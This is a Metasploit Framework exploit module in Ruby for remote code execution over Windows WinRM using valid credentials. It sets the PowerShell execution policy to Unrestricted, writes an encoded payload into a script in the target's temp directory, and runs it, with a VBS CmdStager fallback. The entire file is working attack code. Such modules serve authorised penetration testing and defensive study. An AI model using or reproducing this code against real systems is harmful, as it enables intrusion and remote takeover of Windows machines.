##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::WinRM
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'WinRM VBS Remote Code Execution',
'Description' => %q{
This module uses valid credentials to login to the WinRM service
and execute a payload. It has two available methods for payload
delivery: Powershell 2.0 and VBS CmdStager.
The module will check if Powershell 2.0 is available, and if so uses
that method. Otherwise it falls back to the VBS Cmdstager which is
less stealthy.
IMPORTANT: If targeting an x64 system with the Powershell method
you MUST select an x64 payload. An x86 payload will never return.
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
},
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Targets' =>
[
[ 'Windows', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 01 2012'
))
register_options(
[
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
], self.class
)
register_advanced_options(
[
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
], self.class)
end
def check
unless accepts_ntlm_auth
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
return Msf::Exploit::CheckCode::Safe
end
return Msf::Exploit::CheckCode::Vulnerable
end
def exploit
unless check == Msf::Exploit::CheckCode::Vulnerable
return
end
if powershell2?
return unless correct_payload_arch?
path = upload_script
return if path.nil?
exec_script(path)
else
execute_cmdstager
end
handler
end
def execute_command(cmd,opts)
commands = cmd.split(/&/)
commands.each do |command|
if command.include? "cscript"
streams = winrm_run_cmd_hanging(command)
print_status streams.inspect
elsif command.include? "del %TEMP%"
next
else
winrm_run_cmd(command)
end
end
end
def upload_script
tdir = temp_dir
return if tdir.nil?
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
#add a sleep to the script to give us enoguh time to establish a session
script << "\n Start-Sleep -s 600"
script.each_line do |psline|
#build our psh command to write out our psh script, meta eh?
script_line = "Add-Content #{path} '#{psline.chomp}' "
cmd = encoded_psh(script_line)
streams = winrm_run_cmd(cmd)
end
return path
end
def exec_script(path)
print_status "Attempting to execute script..."
cmd = "powershell -File #{path}"
winrm_run_cmd_hanging(cmd)
end
def encoded_psh(script)
script = script.chars.to_a.join("\x00").chomp
script << "\x00" unless script[-1].eql? "\x00"
script = Rex::Text.encode_base64(script).chomp
cmd = "powershell -encodedCommand #{script}"
end
def temp_dir
print_status "Grabbing %TEMP%"
resp,c = send_request_ntlm(winrm_open_shell_msg)
if resp.nil?
print_error "Got no reply from the server"
return nil
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
return nil
end
shell_id = winrm_get_shell_id(resp)
cmd = "echo %TEMP%"
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
cmd_id = winrm_get_cmd_id(resp)
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
streams = winrm_get_cmd_streams(resp)
return streams['stdout'].chomp
end
def check_remote_arch
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
resp,c = send_request_ntlm(winrm_wql_msg(wql))
#Default to x86 if we can't be sure
return "x86" if resp.nil? or resp.code != 200
resp_tbl = parse_wql_response(resp)
addr_width = resp_tbl.rows.flatten[0]
if addr_width == "64"
return "x64"
else
return "x86"
end
end
def correct_payload_arch?
target_arch = check_remote_arch
case target_arch
when "x64"
unless datastore['PAYLOAD'].include? "x64"
print_error "You selected an x86 payload for an x64 target!"
return false
end
when "x86"
if datastore['PAYLOAD'].include? "x64"
print_error "you selected an x64 payload for an x86 target"
return false
end
end
return true
end
def powershell2?
if datastore['FORCE_VBS']
print_status "User selected the FORCE_VBS option"
return false
end
print_status "checking for Powershell 2.0"
streams = winrm_run_cmd("powershell Get-Host")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
print_error "Recieved error while running check"
return false
end
if streams['stderr'].include? "not recognized"
print_error "Powershell is not installed"
return false
end
streams['stdout'].each_line do |line|
next unless line.start_with? "Version"
major_version = line.match(/\d(?=\.)/)[0]
if major_version == "1"
print_error "The target is running an older version of powershell"
return false
end
end
print_status "Attempting to set Execution Policy"
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
print_error "Recieved error while running check"
return false
end
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
if streams['stdout'].include? 'Unrestricted'
print_good "Set Execution Policy Successfully"
return true
end
return false
end
end
